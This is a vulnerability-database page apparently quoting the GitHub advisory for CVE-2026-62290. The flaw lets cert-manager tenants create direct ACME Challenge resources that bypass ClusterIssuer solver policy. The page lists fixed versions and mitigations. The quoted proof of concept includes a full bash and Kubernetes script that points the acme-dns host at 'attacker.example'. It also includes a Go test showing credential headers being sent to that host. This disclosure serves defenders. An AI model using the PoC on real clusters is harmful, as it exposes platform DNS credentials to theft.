HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 62290 cert manager direct acme challenge resources can
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 7.3CVE-2026-62290GHSA-8RVJ-MM4H-C258

cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentialsCVE-2026-62290

Answer in brief

CVE-2026-62290 records a High severity (CVSS 7.3) vulnerability in cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials. The current sources do not mark it as known exploited. The current feed maps github.com/cert-manager/cert-manager (go), github.com/cert-manager/cert-manager (go). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 16, 2026Updated Oct 29, 2026Source checked Oct 29, 2026First seen by HOL Jul 17, 2026Material review Oct 29, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 7.3
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 7.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps github.com/cert-manager/cert-manager (go), github.com/cert-manager/cert-manager (go). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
github.com/cert-manager/cert-managergo>=1.20.0-alpha.0,<1.20.31.20.3
github.com/cert-manager/cert-managergo>=1.18.0,<1.19.61.19.6

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for github.com/cert-manager/cert-manager, github.com/cert-manager/cert-manager.
  2. 2Review the reported fix. Update github.com/cert-manager/cert-manager to 1.20.3; github.com/cert-manager/cert-manager to 1.19.6 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 16, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 29, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jul 17, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

## Summary `Challenge` resources under `acme.cert-manager.io` can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an `Order`, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses `Challenge.spec.solver` as the DNS01 provider configuration. When the direct Challenge references a `ClusterIssuer`, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the `ClusterIssuer` reference, but the DNS provider configuration itself is attacker-controlled through `Challenge.spec.solver`. This lets a namespace user bypass `Issuer`/`ClusterIssuer` solver selectors such as `dnsZones`, `dnsNames`, and `matchLabels`, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names. In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the `X-Api-User` and `X-Api-Key` headers loaded by cert-manager from the ClusterIssuer resource namespace. ## Attack preconditions - The attacker can create `challenges.acme.cert-manager.io` resources in at least one namespace. - The cert-manager controller is running and reconciles ACME `Challenge` resources cluster-wide. - A usable `ClusterIssuer` exists in the cluster. - The referenced `ClusterIssuer` has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for `ClusterIssuer`. - The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration. ## Severity Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated. ## Why this is not just RBAC misconfiguration cert-manager's documented end-user workflow does not require users to manually create `Challenge` resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled `Challenge.spec.solver` as authoritative for a referenced `ClusterIssuer`. The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from `issuerRef`, while accepting the DNS provider configuration from the untrusted Challenge object. ## Affected components - ACME Challenge admission validation - ACME Challenge controller - DNS01 solver selection and DNS provider construction - Default aggregate RBAC for `challenges.acme.cert-manager.io` ## Affected versions tested The issue was reproduced on: - `master` commit `2c0f1a6a4` - latest production release `v1.20.2` commit `e5b7b1845` - `v1.19.5` commit `cda7b7896` - `v1.18.6` commit `4699caabb` See `VERSION_TEST_MATRIX.md` for the command matrix and outputs. ## Technical details Relevant code paths: - `internal/apis/acme/validation/challenge.go:44-45`: `ValidateChallenge` returns no errors on create. - `deploy/crds/acme.cert-manager.io_challenges.yaml`: `spec.solver` is a required user-controlled field on `Challenge`. - `pkg/controller/acmechallenges/scheduler/scheduler.go:51-58`: scheduler lists all Challenges. - `pkg/controller/acmechallenges/controller.go:180-197`: scheduler sets `status.processing=true`. - `pkg/controller/acmechallenges/sync.go:139-183`: controller loads the referenced Issuer and then presents the Challenge. - `pkg/issuer/acme/dns/dns.go:81`: DNS solver `Present` ignores the issuer object argument. - `pkg/issuer/acme/dns/dns.go:180-187`: DNS provider config and resource namespace are derived from `Challenge.spec`. - `pkg/controller/helper.go:39-44`: `ClusterIssuer` references use the cluster resource namespace. - `pkg/controller/helper.go:66-72`: ambient credentials are allowed based on `issuerRef.kind`. - `internal/apis/config/controller/v1alpha1/defaults.go:68-69`: ClusterIssuer ambient credentials default to enabled. - `deploy/charts/cert-manager/templates/rbac.yaml:517-519`: the aggregate edit role can create/update `challenges` and `orders`. The normal `Order` flow selects a solver from the Issuer: - `pkg/util/solverpicker/solverpicker.go`: solver selectors are evaluated. - `pkg/controller/acmeorders/util.go:94-106`: solvers are fetched from the Issuer and selected. - `pkg/controller/acmeorders/util.go:131-142`: the selected solver is copied into the generated Challenge. The direct `Challenge` flow skips that selection entirely because the direct object already contains a solver. ## Proof of concept ### PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret. The ClusterIssuer is configured to use a legitimate acme-dns host for `victim.example.com`. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name. A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration. Run from the cert-manager repository root: ```bash set -euo pipefail name=cm-direct-challenge-poc docker rm -f "$name" >/dev/null 2>&1 || true docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \ server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null cleanup() { docker rm -f "$name" >/dev/null 2>&1 || true } trap cleanup EXIT for i in $(seq 1 90); do docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break sleep 2 done docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null docker exec "$name" kubectl create ns tenant >/dev/null docker exec "$name" kubectl create ns cert-manager >/dev/null docker exec "$name" kubectl -n tenant create sa bob >/dev/null docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \ --from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML' apiVersion: cert-manager.io/v1 kind: ClusterIssuer metadata: name: cluster-prod spec: acme: email: [email protected] server: https://acme-staging-v02.api.letsencrypt.org/directory privateKeySecretRef: name: cluster-prod-account-key solvers: - selector: dnsZones: - victim.example.com dns01: acmeDNS: host: https://legit-acmedns.example accountSecretRef: name: cluster-acmedns-account key: accounts.json YAML docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML' apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: challenge-create-only namespace: tenant rules: - apiGroups: ["acme.cert-manager.io"] resources: ["challenges"] verbs: ["create", "get", "list", "watch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: bob-challenge-create-only namespace: tenant subjects: - kind: ServiceAccount name: bob namespace: tenant roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: challenge-create-only YAML echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)" echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)" echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)" echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')" docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML' apiVersion: acme.cert-manager.io/v1 kind: Challenge metadata: name: direct-dns01 spec: authorizationURL: https://attacker.example/acme/authz/1 dnsName: victim.example.com issuerRef: group: cert-manager.io kind: ClusterIssuer name: cluster-prod key: attacker-key token: attacker-token type: DNS-01 url: https://attacker.example/acme/chal/1 solver: dns01: acmeDNS: host: https://attacker.example/acmedns accountSecretRef: name: cluster-acmedns-account key: accounts.json YAML docker exec "$name" kubectl -n tenant get challenge direct-dns01 \ -o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}' ``` Expected output: ```text bob create challenges: yes bob get cert-manager secret: no bob get clusterissuer: no ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example challenge.acme.cert-manager.io/direct-dns01 created ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account ``` This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer. ### PoC B: acme-dns provider sends referenced credentials to the configured host This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers. Run from repository root: ```bash set -euo pipefail cat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF' package acmedns import ( "context" "net/http" "net/http/httptest" "testing" ) func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) { var gotUser, gotKey, gotPath string ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { gotPath = r.URL.Path gotUser = r.Header.Get("X-Api-User") gotKey = r.Header.Get("X-Api-Key") w.Header().Set("Content-Type", "application/json") w.WriteHeader(http.StatusOK) w.Write([]byte(`{"txt":"ok"}`)) })) defer ts.Close() accountJSON := []byte(`{ "victim.example.com": { "username": "victim-user", "password": "victim-pass", "fulldomain": "x.example.org", "subdomain": "x" } }`) provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil) if err != nil { t.Fatal(err) } if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil { t.Fatal(err) } if gotPath != "/update" { t.Fatalf("path = %q, want /update", gotPath) } if gotUser != "victim-user" { t.Fatalf("X-Api-User = %q, want victim-user", gotUser) } if gotKey != "victim-pass" { t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey) } } EOF docker run --rm \ -v "$PWD":/repo \ -v /tmp/cert-manager-gomod-cache:/go/pkg/mod \ -v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \ -w /repo golang:1.26-bookworm \ go test ./pkg/issuer/acme/dns/acmedns \ -run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \ -count=1 -v rm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go ``` Expected output: ```text === RUN TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost --- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost ``` Combined with PoC A and the code path in `pkg/issuer/acme/dns/dns.go`, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace. ## Credential impact scope The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled `host` receives the `X-Api-User` and `X-Api-Key` values loaded from the referenced account JSON. For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC. ## Expected behavior Users should not be able to create standalone `Challenge` resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct `Challenge` resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer. ## Actual behavior A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from `issuerRef`, and uses attacker-controlled provider settings. ## Suggested remediation Possible mitigations: - Reject or ignore standalone user-created `Challenge` resources unless the controller or admission layer can confirm an existing cert-manager-created `Order` that owns the Challenge. - Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference. - Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path. - Move `Challenge` and `Order` creation permissions out of aggregate `edit` unless direct use is a supported security boundary. - Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • Broken Function Level Authorization — `postcommand.php` allows execution of poller post-restart commands by non-admin usersAlso CWE-863
  • Nomad vulnerable to cross-namespace information disclosure in multiple endpointsAlso CWE-863
  • Incorrect authorization in issuer resolution in AWS Private CA Connector for KubernetesAlso CWE-863
  • Shopify App: Token exchange shop context confusion may allow cross-shop authorization bypass in affected appsAlso CWE-863
  • Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddlewareSame go ecosystem

Record context

Vulnerability class
Secret Exfiltration
EPSS
Not reported
CWE IDs
CWE-863
Source
GitHub Security Advisories
Source checked
Oct 29, 2026
References
9 linked sources
Open source record